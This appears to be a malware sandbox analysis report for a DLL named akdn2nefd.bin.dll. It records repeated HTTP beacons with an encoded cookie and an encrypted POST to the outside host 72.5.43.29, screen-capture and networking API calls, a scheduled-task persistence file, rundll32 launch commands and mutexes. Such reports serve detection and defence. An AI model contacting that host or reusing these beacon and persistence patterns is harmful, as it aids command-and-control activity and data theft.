Code function: 8_2_00007FFE11501F20 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,InternetOpenW,InternetSetOptionW,InternetSetOptionW,InternetSetOptionW,InternetConnectW,HttpOpenRequestW,wcscpy,wcscat,SetLastError,HttpSendRequestW,GetLastError,InternetQueryOptionW,InternetSetOptionW,HttpSendRequestW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

8_2_00007FFE11501F20

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Cookie: Ud8jaJzQ9gM+u+9SZ8Gm4HAmczKbbrMbg+un54X1NiJU+wBWxj6N4HAI2V+ZhKDNCc2JDf9So6e8u64LJvCcj6dH2UQB82SGnYWtBkmQy2Sm6dEaH598d6MGC1WYs6oLWZlkldha5KBknoi5C4GvN/UYlBkqyyIPE5cIIVGSjTh+a97te0g+7+ffZ2vYJaHsmaHBdXII1wIiXAFKUser-Agent: Mozilla / 5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)Host: 72.5.43.29Content-Length: 120Connection: Keep-AliveCache-Control: no-cacheData Raw: e4 31 93 8b 9c d0 f6 03 3e bb ef 52 64 c1 a6 e0 7b 26 73 32 9b 6e b3 1b ca a1 a7 e7 8f f5 36 22 5c fb 00 56 f2 3e 8d e0 c3 17 d9 5f dd d0 cb b4 1d a7 cc 3f b9 11 97 de 94 d1 ff 36 27 f0 9c 8f 9c 10 ec 74 6a a4 13 e9 c8 ec c6 61 56 e6 b7 2d b2 fe f8 7b 4b cc 17 0e bf 72 29 50 98 a5 bd 77 17 f3 25 e2 91 1f a5 c7 67 c5 ed fe 1f f0 bb 15 eb 2a be 50 73 b1 6c 66 Data Ascii: 1>Rd{&s2n6"\V>_?6'tjaV-{Kr)Pw%g*Pslf

Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/#tT
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/$
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/2
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/5.43.29/ttingsE
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/Gt8
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/Rt#
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE85B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/pt
Source: rundll32.exe, 00000008.00000002.3508798808.00000240CE898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://72.5.43.29/ttings

Source: C:\Windows\System32\rundll32.exe

Code function: 8_2_00007FFE115070A0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetDC,CreateCompatibleDC,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,BitBlt,DeleteObject,DeleteObject,ReleaseDC,

8_2_00007FFE115070A0

Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\Tasks\Ventuso LLC.job			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm			Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\OAPIRH2O.htm

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE1150C0EC	8_2_00007FFE1150C0EC
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE1150DF94	8_2_00007FFE1150DF94
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11502740	8_2_00007FFE11502740
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11513B40	8_2_00007FFE11513B40
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11507F60	8_2_00007FFE11507F60
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11518038	8_2_00007FFE11518038
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11511404	8_2_00007FFE11511404
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00007FFE11513670	8_2_00007FFE11513670

Source: classification engine

Classification label: mal76.evad.winDLL@15/4@0/1

Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\7d0cec31-c3bc-4593-ad4a-8c140904383e
Source: C:\Windows\System32\rundll32.exe	Mutant created: \BaseNamedObjects\7d0cec31-c3bc-4593-ad4a-8c140904383e
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\461592c6-32a2-4a5a-9542-783ba1348002

Source: akdn2nefd.bin.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1

Source: akdn2nefd.bin.dll	ReversingLabs: Detection: 13%
Source: akdn2nefd.bin.dll	Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\akdn2nefd.bin.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllGetClassObject
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServerEx
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\ProgramData\Ventuso LLC\Updater.dll",Start /u
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\akdn2nefd.bin.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllGetClassObject	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\akdn2nefd.bin.dll,DllRegisterServerEx	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\akdn2nefd.bin.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: akdn2nefd.bin.dll

Static PE information: Image base 0x180000000 > 0x60000000

